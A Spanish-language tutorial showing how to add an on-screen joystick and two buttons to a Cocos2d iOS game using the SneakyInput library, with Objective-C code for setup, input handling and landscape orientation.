Complement of information: not sure if this is related but also few weeks ago the radiostations in Belgium are pushing you one 10-sec advertising slot everytime that you connect or reconnect with a streaming station. After the extra advertising you catch the normal streaming (and you should have no further issues or push messages).
So, now we know it is not a Naim issue.
If you have a smart phone you can turn off Wi-Fi and use cellular data to try and play from vTuner? This will help show if it is a router issue.
Tested: no issue when playing vTuner on smartphone using cellular (wifi off). If that woud mean the router is the issue, I do not understand why Tidal streaming works fine. Only radio streaming is an issue.
Do you get the same issue on something like Radio Paradise? That’s listened to by lots of people on here and I assume would have been noted if there was a problem.
It could be a DNS issue and the selection of the stream. On your computer can you set a manual DNS to use Google or another provider IP address? If it fixes the issue you can see if you can change it in the router or contact your provider for support.
Hi @Joel1
We have seen this problem before - its from smart advertising systems that try and match playback clocks with broadcast clocks to avoid buffer under-runs or over-runs in their system. Its a software based asynchronous sample rate converter at their end.
They can be fooled if the playback app does a burst read of audio at the start of play (so there are many seconds of audio so it does robust playback) but in turn completely confuses their algorithms on clock measurement/data consumption. If the playback app has very small buffering then it stops oscillating far quicker and appears to work.
In practice from an end consumer there is nothing much that can be done. The bad audio data is encoded in the MP3 or AAC stream server side and we just playback at the correct rate.
With regards
Steve Harris
Software Director
Naim Audio Ltd.
1 Like
You can try contacting the station to report the issue
see Heeft u een vraag? | VRT.be
Also are your other stations all OK, if so points to problem with that group of stations.
Strange behaviour, I also listen to the Belgian public radio stations on an NDX2 and they always work flawlessly.
The 10 second ads are also unknown to me on these channels, can this be caused by your specific internet provider pushing ads?
Hi,
I have the same issue on my unitilite and it’ s very annoying.
I reported it at vrt and I suggest you do the same.
Regards
Christophe
Hi,
I got an answer from VRT. They have general issues with their icecaststreams and the issues described in this post are a known problem. They did ask supplier of these streams to find a solution as quick as possible.
Best regards,
Christophe
Hi Christophe,
Thanks for your reply. I will also report it to VRT (already did to the “ombudsman”) to keep some pressure. I must say that in the mean time the problem is less frequent (although not fully solved).
Joël.
This topic was automatically closed 60 days after the last reply. New replies are no longer allowed. | {
"url": "https://community.naimaudio.com/t/internet-radio-too-slow-too-fast/19746",
"source_domain": "community.naimaudio.com",
"snapshot_id": "crawl=CC-MAIN-2022-27",
"warc_metadata": {
"Content-Length": "57167",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:NGRAFDEZLREADDUPNQ6WCDA5ADA65SY3",
"WARC-Concurrent-To": "<urn:uuid:0867770f-cec8-4947-a0aa-fbb4e918ec70>",
"WARC-Date": "2022-06-26T08:38:43Z",
"WARC-IP-Address": "109.74.194.192",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:ALGLK2VLCVFS7EO4E3ELFCQPOKFFTEUT",
"WARC-Record-ID": "<urn:uuid:5ffa3520-d31a-481e-b504-8408b77b5204>",
"WARC-Target-URI": "https://community.naimaudio.com/t/internet-radio-too-slow-too-fast/19746",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2ce34d89-a5a0-4204-a681-cd38e99268b0>"
},
"warc_info": "isPartOf: CC-MAIN-2022-27\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June/July 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-253\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
33,
34,
48,
49,
297,
298,
538,
539,
612,
613,
641,
642,
727,
728,
824,
825,
858,
859,
939,
940,
1103,
1104,
1219,
1220,
1554,
1555,
1595,
1740,
1741,
1948,
1949,
2113,
2114,
2366,
2367,
2377,
2378,
2632,
2633,
2976,
2977,
3159,
3160,
3173,
3174,
3187,
3205,
3221,
3222,
3229,
3230,
3285,
3317,
3318,
3408,
3409,
3523,
3524,
3651,
3652,
3656,
3657,
3720,
3721,
3773,
3774,
3782,
3783,
3794,
3795,
3799,
3800,
4016,
4017,
4031,
4032,
4043,
4044,
4059,
4258,
4259,
4265,
4266
],
"line_end_idx": [
33,
34,
48,
49,
297,
298,
538,
539,
612,
613,
641,
642,
727,
728,
824,
825,
858,
859,
939,
940,
1103,
1104,
1219,
1220,
1554,
1555,
1595,
1740,
1741,
1948,
1949,
2113,
2114,
2366,
2367,
2377,
2378,
2632,
2633,
2976,
2977,
3159,
3160,
3173,
3174,
3187,
3205,
3221,
3222,
3229,
3230,
3285,
3317,
3318,
3408,
3409,
3523,
3524,
3651,
3652,
3656,
3657,
3720,
3721,
3773,
3774,
3782,
3783,
3794,
3795,
3799,
3800,
4016,
4017,
4031,
4032,
4043,
4044,
4059,
4258,
4259,
4265,
4266,
4366
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4366,
"ccnet_original_nlines": 83,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.437012255191803,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02675585076212883,
"rps_doc_frac_lines_end_with_ellipsis": 0.011904760263860226,
"rps_doc_frac_no_alph_words": 0.12597547471523285,
"rps_doc_frac_unique_words": 0.45090439915657043,
"rps_doc_mean_word_length": 4.457364559173584,
"rps_doc_num_sentences": 52,
"rps_doc_symbol_to_word_ratio": 0.0022296500392258167,
"rps_doc_unigram_entropy": 5.352787017822266,
"rps_doc_word_count": 774,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.018840579316020012,
"rps_doc_frac_chars_top_3gram": 0.009565220214426517,
"rps_doc_frac_chars_top_4gram": 0.006956520024687052,
"rps_doc_books_importance": -342.39105224609375,
"rps_doc_books_importance_length_correction": -342.39105224609375,
"rps_doc_openwebtext_importance": -191.88990783691406,
"rps_doc_openwebtext_importance_length_correction": -191.88990783691406,
"rps_doc_wikipedia_importance": -136.54087829589844,
"rps_doc_wikipedia_importance_length_correction": -136.54087829589844
},
"fasttext": {
"dclm": 0.053698599338531494,
"english": 0.9495039582252502,
"fineweb_edu_approx": 1.4741817712783813,
"eai_general_math": 0.31789010763168335,
"eai_open_web_math": 0.22225475311279297,
"eai_web_code": 0.05028795823454857
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "781.1",
"labels": {
"level_1": "Arts",
"level_2": "Music",
"level_3": "Music theory"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
1,422,676,380,117,080,300 | Auth::logout() not working as expected
Posted 3 months ago by DavidPetrov
Again, I may be misconcepting something, but anyway. Point is I'm trying to develop a /dev route which shall make me from admin user (where I'm logged in) to a guest (where I'm incoming with a company's hash as a completely unknown new guest user). So basically what I need from the /dev route is to log me out and redirect me to a link with the company's hash. That's how it looks:
Route::get('/dev', function(){
return redirect()->to(route('guest', ['companyHash' => \App\Company::first()->hash]));
});
Route::get('/guest/company-{companyHash}', '[email protected]')->name('guest');
And that's the [email protected] method:
public function incomingGuest(Request $request, $companyHash)
{
Auth::logout(); //seems to not work
try
{
$id = decrypt($companyHash);
}
catch(\Illuminate\Contracts\Encryption\DecryptException $ex)
{
//logger('No company with hash '.$companyHash);
return redirect()->action('[email protected]');
}
$company = \App\Company::find($id);
session()->put('company', $company);
Cookie::queue(cookie()->forever('company_id', $id));
return redirect()->action('[email protected]');
}
[email protected] handles the request based on whether the user has been recognized as a guest or not. Problem is that Auth::logout() changes nothing and when I've been logged in, I'm not getting logged out and redirected but rather the controller sends me to my logged in home page. I also tried resending the request after logout, because I thought it may need a refresh of the request, but with no success.
Could that be a middleware issue? Something looping somewhere. Or is that just how Auth::logout() works and I'm misusing it. Ideas? Thanks!
Please sign in or create an account to participate in this conversation. | {
"url": "https://laracasts.com/discuss/channels/general-discussion/authlogout-not-working-as-expected",
"source_domain": "laracasts.com",
"snapshot_id": "crawl=CC-MAIN-2019-35",
"warc_metadata": {
"Content-Length": "41912",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6XNTVTUKJUHKXKHQZLJR7U7BHFJ3LKWP",
"WARC-Concurrent-To": "<urn:uuid:f90b9685-ab86-4931-ab03-35efdd6f015a>",
"WARC-Date": "2019-08-22T04:26:37Z",
"WARC-IP-Address": "104.20.16.110",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RHXH5HXYAZ7NOTFNOEQPOVPKFR3EZEQR",
"WARC-Record-ID": "<urn:uuid:f050b778-90e6-496d-82d6-b9cb4faee052>",
"WARC-Target-URI": "https://laracasts.com/discuss/channels/general-discussion/authlogout-not-working-as-expected",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:76aeb500-c992-4c34-b13b-ddbfccd08e1f>"
},
"warc_info": "isPartOf: CC-MAIN-2019-35\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-38.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
39,
40,
75,
76,
459,
460,
491,
582,
586,
587,
671,
672,
713,
714,
776,
782,
826,
827,
839,
849,
890,
900,
969,
979,
1039,
1099,
1109,
1118,
1162,
1207,
1216,
1277,
1286,
1342,
1348,
1349,
1759,
1760,
1900,
1901
],
"line_end_idx": [
39,
40,
75,
76,
459,
460,
491,
582,
586,
587,
671,
672,
713,
714,
776,
782,
826,
827,
839,
849,
890,
900,
969,
979,
1039,
1099,
1109,
1118,
1162,
1207,
1216,
1277,
1286,
1342,
1348,
1349,
1759,
1760,
1900,
1901,
1973
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1973,
"ccnet_original_nlines": 40,
"rps_doc_curly_bracket": 0.0050684199668467045,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.30392158031463623,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.024509800598025322,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.30392158031463623,
"rps_doc_frac_unique_words": 0.5822784900665283,
"rps_doc_mean_word_length": 5.645569801330566,
"rps_doc_num_sentences": 13,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.69729471206665,
"rps_doc_word_count": 237,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.017937220633029938,
"rps_doc_frac_chars_top_3gram": 0.050822120159864426,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -192.7396240234375,
"rps_doc_books_importance_length_correction": -192.7396240234375,
"rps_doc_openwebtext_importance": -89.03751373291016,
"rps_doc_openwebtext_importance_length_correction": -89.03751373291016,
"rps_doc_wikipedia_importance": -89.60511779785156,
"rps_doc_wikipedia_importance_length_correction": -89.60511779785156
},
"fasttext": {
"dclm": 0.2554302215576172,
"english": 0.8752391934394836,
"fineweb_edu_approx": 0.658351480960846,
"eai_general_math": 0.30257320404052734,
"eai_open_web_math": 0.04460740089416504,
"eai_web_code": 0.47656869888305664
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "2",
"label": "Partially Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-3,700,631,693,859,316,000 | Sunday, March 15, 2009
I'm Back!!.. After leaving this blog unmanaged for so long.. hehe.. Sometimes no time to update, sometimes dunno what to update, so end up never seems to care about this blog anymore. Ok Ok.. To all my friends, dont worry, I'm still enjoying myself as always.. hehe..
First of all, the title supposely were Genius de-Code life with Maths, but somehow, I felt that I need to be a little bit humble, so.. I put JiNG instead of Genius.. haha.. Genius is what ppl call me anyhow, not me calling myself.. hor? .. xP
So here it goes, how to de-code your life with maths? I will go through example by example to let you all know the meaning of this post. In life, we always tend to be the best, thus we tried our best to be among the best. But sometimes, while trying our best, we tend to forget what is our real goal and begin to lose our real self.. It happened to everyone and I believe everyone agreed with what I have mentioned earlier, unless if you are in the middle of losing your real self... so.. no matter want or not, you will need to agree with me. haha.. But, why is it like that?
Why is it some manage to become the best, while some of it failed terribly? They aiming the same goal, goes the same road, met the same ppl, but still the result is always not the same at the end of journey. So here goes with the Maths... Why ppl always want to be the best? why not be normal? or be loser? It's because:
Loser / Human populations x 100 = 50%
Normal / Human populations x 100 = 40%
Best / Human populations x 100 = 10%
It's the minority in the world and that is why ppl want to always be in the ELITE group, instead of ordinary group.. haha..
Ok, now that everyone want to be the best, why is it some failed? some successed? Because of their learning scale.. Some learn fast and some learn slow while some never learn. Why? Again it can be explained by Maths..
Your learning rates = [(Total Human Civilizations - Things you think you know) / Total Human Knowledge] x 100.
So, the bigger the area you declared you know, the lowest your learning rates will be. Believe it or not, there are lots of ppl out there, think they know a lot of things which in fact they know nth. So those ppl will never learn and improved, and followed by failure.. It's very logic that we wont go and learn the things that we already know, but still, sometimes there are things that we think we know, but in facts, we might only know 1% of the whole things. So my advice, dont be too lansi sometimes.. haha.. if you dunno what is LANSI le, then it can be explained by maths as well:
LANSI is when Big Head - Lan Head = 0 . WUAHHAHAHA..
Ok lar, dont wanna keep the crap for too long. Actually I got no photos on my laptop to update my latest outing and conditions. So anything, just go visit my facebook ya.. haha. I will be blogging again once I think I'm Emo enuf to write something nice to be read.. So until then, HAPPY GO LUCKY EVERYDAY EVERYWHERE to EVERYONE~!!!
3 Comments
u sure took ur sweet time to post tis up. 8 weeks. tat's like 8 centuries in blogosphere.
bleh. haha
Reply
ha ha ha .. u look like winter sonata poster liw ..
Reply
anonymous - hahha.. busy lar... plus, nothing to write d recently..
Cibol - hows the party going on? keke
Reply | {
"url": "http://www.iamjim.my/2009/03/jing-de-code-life-with-maths.html",
"source_domain": "www.iamjim.my",
"snapshot_id": "crawl=CC-MAIN-2019-30",
"warc_metadata": {
"Content-Length": "107324",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:SLHQNNTMFNPBDOB6IWIB36XJTHMKW53Z",
"WARC-Concurrent-To": "<urn:uuid:166897cf-fdc0-4263-a668-2290f4328798>",
"WARC-Date": "2019-07-19T20:49:54Z",
"WARC-IP-Address": "172.217.164.147",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:3XCJWIBCNMPQWSOCGEMPM4YLUKDZLYIA",
"WARC-Record-ID": "<urn:uuid:830859a1-5e91-44f6-a968-770de07072d0>",
"WARC-Target-URI": "http://www.iamjim.my/2009/03/jing-de-code-life-with-maths.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d8b70ec9-e42b-4161-83cc-ae2b807139d4>"
},
"warc_info": "isPartOf: CC-MAIN-2019-30\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-95-236-185.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
23,
24,
25,
294,
295,
538,
539,
1117,
1118,
1119,
1440,
1441,
1479,
1518,
1555,
1556,
1681,
1682,
1901,
1902,
2017,
2018,
2606,
2607,
2663,
2664,
2665,
2999,
3000,
3001,
3002,
3003,
3014,
3015,
3105,
3106,
3117,
3118,
3124,
3125,
3177,
3178,
3184,
3185,
3253,
3254,
3292,
3293
],
"line_end_idx": [
23,
24,
25,
294,
295,
538,
539,
1117,
1118,
1119,
1440,
1441,
1479,
1518,
1555,
1556,
1681,
1682,
1901,
1902,
2017,
2018,
2606,
2607,
2663,
2664,
2665,
2999,
3000,
3001,
3002,
3003,
3014,
3015,
3105,
3106,
3117,
3118,
3124,
3125,
3177,
3178,
3184,
3185,
3253,
3254,
3292,
3293,
3298
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3298,
"ccnet_original_nlines": 48,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.46296295523643494,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.029100529849529266,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1944444328546524,
"rps_doc_frac_unique_words": 0.4397394061088562,
"rps_doc_mean_word_length": 4,
"rps_doc_num_sentences": 61,
"rps_doc_symbol_to_word_ratio": 0.003968250006437302,
"rps_doc_unigram_entropy": 5.184013843536377,
"rps_doc_word_count": 614,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.033387620002031326,
"rps_doc_frac_chars_dupe_6grams": 0.033387620002031326,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.009771989658474922,
"rps_doc_frac_chars_top_3gram": 0.008550490252673626,
"rps_doc_frac_chars_top_4gram": 0.013436480425298214,
"rps_doc_books_importance": -334.4862976074219,
"rps_doc_books_importance_length_correction": -334.4862976074219,
"rps_doc_openwebtext_importance": -155.61578369140625,
"rps_doc_openwebtext_importance_length_correction": -155.61578369140625,
"rps_doc_wikipedia_importance": -92.730224609375,
"rps_doc_wikipedia_importance_length_correction": -92.730224609375
},
"fasttext": {
"dclm": 0.32992976903915405,
"english": 0.9419522881507874,
"fineweb_edu_approx": 1.428444504737854,
"eai_general_math": 0.10353100299835205,
"eai_open_web_math": 0.273892879486084,
"eai_web_code": 0.014588000252842903
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "510",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": ""
}
},
"secondary": {
"code": "153.4",
"labels": {
"level_1": "Philosophy and psychology",
"level_2": "Psychology",
"level_3": "Thought and thinking"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "9",
"label": "Personal/Misc"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "2",
"label": "Partially Correct"
},
"secondary": {
"code": "1",
"label": "Technically Flawed"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
1,361,523,030,347,677,700 | (+34) 673 566 782 - (+34) 960 653 052 [email protected]
Joystick con Cocos2d y SneakyInput
iOS
Intermedio
30 minutos
Para la implementación de nuestro joystick vamos a necesitar la librería SnekayInput que nos facilitará bastante esta tarea.
Deberemos descargar la librería SneakyInput desde github.
Crearemos un proyecto nuevo de tipo cocos2d como hemos realizado en el videojuego de Hungry Monster.
Para este proyecto solamente vamos a utilizar las siguientes clases de SneakyInput:
• SneakyJoystick
• SneakyButton
• SneakyButtonSkinnedBase
• SneakyJoystickSkinnedBase
Deberemos añadir las clases al proyecto. Recuerda marcar la casilla “Copy items into destination group’s folder” y añadirlas al Target.
Ahora crearemos una nueva clase que llamaremos “MiJoystick” que herede de CCLayer y nuestro MiJoystick.h deberá quedar así:
#import &quot;CCLayer.h&quot;
#import &quot;cocos2d.h&quot;
#import &quot;SneakyJoystick.h&quot;
#import &quot;SneakyButton.h&quot;
#import &quot;SneakyButtonSkinnedBase.h&quot;
#import &quot;SneakyJoystickSkinnedBase.h&quot;
@interface MiJoystick : CCLayer{
SneakyJoystick *cruceta;
SneakyButton *botonA;
SneakyButton *botonB;
}
Añadimos los property:
@property (nonatomic, retain) SneakyJoystick *cruceta;
@property (nonatomic, retain) SneakyButton *botonA;
@property (nonatomic, retain) SneakyButton *botonB;
Y en nuestro MiJoystick.m añadimos los synthesize:
@implementation MiJoystick
@synthesize cruceta;
@synthesize botonA;
@synthesize botonB;
Crearemos nuestra función init donde inicializaremos nuestros botones.
-(id) init
{
if ( (self = [super init]) )
{
}
return self;
}
Para añadir los botones del joystick necesitaremos los gráficos que queremos mostrar. En nuestro caso hemos creado 6 imágenes:
En este punto creamos la cruceta.
SneakyJoystickSkinnedBase *baseCruceta = [[[SneakyJoystickSkinnedBase alloc] init] autorelease];
// posición del joystick
baseCruceta.position = ccp(64,64);
// Añadimos las imágenes, será la imagen de fondo y el joystick que se mueve que estará por encima de nuestro joystick
baseCruceta.backgroundSprite = [CCSprite spriteWithFile:@&quot;cruceta.png&quot;];
baseCruceta.thumbSprite = [CCSprite spriteWithFile:@&quot;botonCruceta.png&quot;];
baseCruceta.joystick = [[SneakyJoystick alloc] initWithRect:CGRectMake(0,0,128,128)];
cruceta = [baseCruceta.joystick retain];
[self addChild:baseCruceta z:0];
Ahora añadiremos un par de botones a la derecha de nuestra pantalla.
// inicializamos el botón A
SneakyButtonSkinnedBase *baseBotonA = [[[SneakyButtonSkinnedBase alloc] init] autorelease];
// posicionamos el botón el botón a la derecha de la pantalla
baseBotonA.position = ccp(320,50);
// Añadimos las imagenes del botón.
baseBotonA.defaultSprite = [CCSprite spriteWithFile:@&quot;botonA.png&quot;];
baseBotonA.activatedSprite = [CCSprite spriteWithFile:@&quot;botonA_presionado.png&quot;];
baseBotonA.pressSprite = [CCSprite spriteWithFile:@&quot;botonA_presionado.png&quot;];
baseBotonA.button = [[SneakyButton alloc] initWithRect:CGRectMake(0, 0, 25, 25)];
botonA = [baseBotonA.button retain];
botonA.isToggleable = NO;
[self addChild:baseBotonA z:0]
También añadimos un botón B:
// inicializamos el botón B
SneakyButtonSkinnedBase *baseBotonB = [[[SneakyButtonSkinnedBase alloc] init] autorelease];
// posicionamos el botón
baseBotonB.position = ccp(430,50);
// Añadimos las imágenes
baseBotonB.defaultSprite = [CCSprite spriteWithFile:@&quot;botonB.png&quot;];
baseBotonB.activatedSprite = [CCSprite spriteWithFile:@&quot;botonB_presionado.png&quot;];
baseBotonB.pressSprite = [CCSprite spriteWithFile:@&quot;botonB_presionado.png&quot;];
baseBotonB.button = [[SneakyButton alloc] initWithRect:CGRectMake(0,0,25,25)];
botonB = [baseBotonB.button retain];
botonB.isToggleable = NO;
[self addChild:baseBotonB z:0];
Por último, deberemos importar nuestra clase para poder utilizarla en nuestro HelloWorldLayer
#import &quot;cocos2d.h&quot;
#import &quot;MiJoystick.h&quot;
// HelloWorldLayer
@interface HelloWorldLayer : CCLayer
{
MiJoystick *joystick;
}
Y en la implementación:
-(id) init
{
if( (self=[super init])) {
joystick = [[MiJoystick alloc] init];
[self addChild:joystick z:10];
[self scheduleUpdate];
}
return self;
}
Tendremos que añadir en nuestra función update, lo métodos necesarios para mover los objetos con nuestro joystick. Esta función está siempre actualizando por lo que detectará cuando hemos movido nuestro joystick o presionado un botón.
-(void)update:(ccTime)delta {
// Comprueba el movimiento hacia la izquierda o derecha
if ( joystick.cruceta.velocity.x &gt; 0 ) {
NSLog(@&quot;Mueves hacia la derecha: %f&quot;, joystick.cruceta.velocity.x);
} else if ( joystick.cruceta.velocity.x &lt; 0 ) { NSLog(@&quot;Mueves hacia la izquierda %f&quot;, joystick.cruceta.velocity.x); } // Arriba o abajo if ( joystick.cruceta.velocity.y &gt; 0 ) {
NSLog(@&quot;Mueves hacia arriba %f&quot;, joystick.cruceta.velocity.y);
} else if ( joystick.cruceta.velocity.y &lt; 0 ) {
NSLog(@&quot;Mueves hacia abajo %f&quot;, joystick.cruceta.velocity.y);
}
// Botón A
if ( joystick.botonA.active ) {
NSLog(@&quot;Botón A&quot;);
}
// Botón B
if ( joystick.botonB.active ) {
NSLog(@&quot;Botón B&quot;);
}
}
Para liberar memoria, deberemos realizar un release de nuestro joystick.
- (void) dealloc
{
[joystick release];
[super dealloc];
}
Para ver el proyecto en Landscape de manera correcta tendrás que modificar este método del RootViewController
-(NSUInteger)supportedInterfaceOrientations{
//Modify for supported orientations, put your masks here, trying to mimic behavior of shouldAutorotate..
#if GAME_AUTOROTATION==kGameAutorotationNone
return UIInterfaceOrientationMaskLandscape;
#elif GAME_AUTOROTATION==kGameAutorotationCCDirector
NSAssert(NO, @&quot;RootviewController: kGameAutorotation isn't supported on iOS6&quot;);
return UIInterfaceOrientationMaskLandscape;
#elif GAME_AUTOROTATION == kGameAutorotationUIViewController
return UIInterfaceOrientationMaskLandscape | UIInterfaceOrientationLandscapeLeft;
//for both landscape orientations return UIInterfaceOrientationLandscape
#else
#error Unknown value in GAME_AUTOROTATION
#endif // GAME_AUTOROTATION
}
Si compilamos y ejecutamos la aplicación podremos comprobar que al presionar los botones y el joystick se mostrará por consola los movimientos que estamos realizando.
Infórmate sin compromiso
Nombre (requerido)
Correo electrónico (requerido)
Teléfono (requerido)
Modalidad (requerido)
1. Responsable de los datos: IMAGINA WEB & MOBILE TECHNOLOGIES S.L.
2. Finalidad de los datos: Responder a la información solicitada, envío de boletines de noticias y ofertas.
3. Destinatarios: IMAGINA WEB & MOBILE TECHNOLOGIES S.L. No se cederán los datos a terceros.
4. Derechos: En cualquier momento puedes acceder, recuperar y borrar tu información.
